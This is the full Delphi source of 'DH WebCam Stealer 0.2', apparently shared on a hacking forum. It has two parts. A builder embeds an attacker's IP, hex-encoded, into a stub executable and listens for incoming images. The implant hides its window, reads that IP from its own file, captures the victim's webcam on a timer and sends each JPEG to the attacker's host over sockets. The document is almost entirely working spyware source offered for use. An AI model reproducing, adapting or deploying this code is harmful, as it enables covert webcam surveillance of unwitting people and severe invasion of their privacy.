[Delphi] DH WebCam Stealer 0.2

// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit webcam;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, ComCtrls, sStatusBar, StdCtrls, sLabel, sRadioButton,
  sButton, sEdit, sGroupBox, sPageControl, acPNG, ExtCtrls, ScktComp, Jpeg;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image3: TImage;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sGroupBox2: TsGroupBox;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    sTabSheet2: TsTabSheet;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sTabSheet4: TsTabSheet;
    Image2: TImage;
    sLabel1: TsLabel;
    sStatusBar1: TsStatusBar;
    Timer1: TTimer;
    Timer2: TTimer;
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }

    conexion: TFileStream;
    control: integer;

  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  cantidad: string;

implementation

uses full;
{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure achicar(archivo, medir1, medir2: string);

// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com

var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;

begin

  try
    begin

      bit2 := TJpegImage.Create;

      bit2.Loadfromfile(archivo);

      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;

      bit1 := TBitmap.Create;

      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);

      bit2.Assign(bit1);

      bit2.SaveToFile(archivo);

    end;
  except
    //
  end;

end;
//

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);

begin
  try
    begin
      ServerSocket1.Open;

      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;

procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'stealer_ready.exe';

  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;

begin

  contenido := Socket.ReceiveText;

  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);

    ServerSocket2.Open;

  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;

procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;

begin

  Timer1.Enabled := True;

  while Socket.ReceiveLength > 0 do

  begin

    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));

    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;

    if conexion.Size >= StrToInt(cantidad) then

    begin

      conexion.Free;

      Timer1.Enabled := False;

      control := 0;

      Break;

    end;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin

  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin

          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;

end.

// The End ?

// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit server;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, ScktComp, Jpeg;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    Image1: TImage;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure capturar_webcam(filename: string);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  target: string;
  webcam: hwnd;

const

  control = WM_USER;
  conec = control + 10;
  conec2 = control + 52;
  conec3 = control + 50;
  conec4 = control + 25;
  chau = control + 11;

implementation

FUNCTION capCreateCaptureWindowA(uno: PCHAR; dos: longint; tres: integer;
  cuatro: integer; cinco: integer; seis: integer; siete: hwnd; ocho: integer)
  : hwnd;
STDCALL EXTERNAL 'AVICAP32.DLL';
{$R *.dfm}
// Functions

  procedure TForm1.capturar_webcam(filename: string);

  // Webcam capture based on : http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
  // Thanks to Javier Par

  var
    imagen1: TBitmap;
    imagen2: TJpegImage;

  begin

    try
      begin

        DeleteFile('1.bmp');
        DeleteFile('1');
        DeleteFile(filename);

        webcam := capCreateCaptureWindowA
          ('Unknown_888', WS_CHILD OR WS_VISIBLE, Image1.Left, Image1.Top,
          Image1.Width, Image1.Height, Form1.Handle, 0);

        if not(webcam = 0) then
        begin

          SendMessage(webcam, conec, 0, 0);
          SendMessage(webcam, conec2, 40, 0);
          SendMessage(webcam, conec3, 1, 0);
          SendMessage(webcam, conec4, 0, longint(PCHAR('1.bmp')));
          SendMessage(webcam, chau, 0, 0);
          webcam := 0;

          RenameFile('1', '1.bmp');

          imagen1 := TBitmap.Create;
          imagen1.LoadFromFile('1.bmp');

          imagen2 := TJpegImage.Create;
          imagen2.Assign(imagen1);
          imagen2.CompressionQuality := 100;
          imagen2.SaveToFile(filename);

          DeleteFile('1');
          DeleteFile('1.bmp');

        end;

        imagen1.Free;
        imagen2.Free;

      end;
    except
      //
    end;

  end;

  function regex(text: String; deaca: String; hastaaca: String): String;
  begin
    Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
    SetLength(text, AnsiPos(hastaaca, text) - 1);
    Result := text;
  end;

  function dhencode(texto, opcion: string): string;
  // Thanks to Taqyon
  // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  var
    num: integer;
    aca: string;
    cantidad: integer;

  begin

    num := 0;
    Result := '';
    aca := '';
    cantidad := 0;

    if (opcion = 'encode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad do
      begin
        aca := IntToHex(ord(texto[num]), 2);
        Result := Result + aca;
      end;
    end;

    if (opcion = 'decode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad div 2 do
      begin
        aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
        Result := Result + aca;
      end;
    end;

  end;

  procedure TForm1.FormCreate(Sender: TObject);

  var
    ob: THandle;
    code: Array [0 .. 9999 + 1] of Char;
    nose: DWORD;
    todo: string;

  begin

    Application.ShowMainForm := False;

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(PCHAR(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    target := regex(todo, '[ip]', '[ip]');

    try
      begin
        ClientSocket1.Address := target;
        ClientSocket1.Open;
      end;
    except
      //
    end;

  end;

  procedure TForm1.Timer1Timer(Sender: TObject);
  var
    archivo: string;
    envio: TFileStream;
    dir: string;

  begin

    try
      begin

        if ClientSocket1.Active = True then

        begin
          dir := GetEnvironmentVariable('USERPROFILE') + '\';

          chdir(dir);

          if (FileExists('screen.jpg')) then
          begin
            DeleteFile('screen.jpg');
          end;

          capturar_webcam('screen.jpg');

          archivo := dir + 'screen.jpg';

          try
            begin
              ClientSocket1.Socket.SendText
                ('0x3archivo' + ExtractFileName(archivo));
              envio := TFileStream.Create(archivo, fmopenread);

              sleep(500);

              ClientSocket1.Socket.SendText
                ('0x3acantid' + IntToStr(envio.Size));

              envio.Free;

              ClientSocket2.Address := target;
              ClientSocket2.Open;

              ClientSocket2.Socket.SendStream
                (TFileStream.Create(archivo, fmopenread));
            end;
          except
            //
          end;
        end;
      end;
    except
      //
    end;

  end;

end.

// The End ?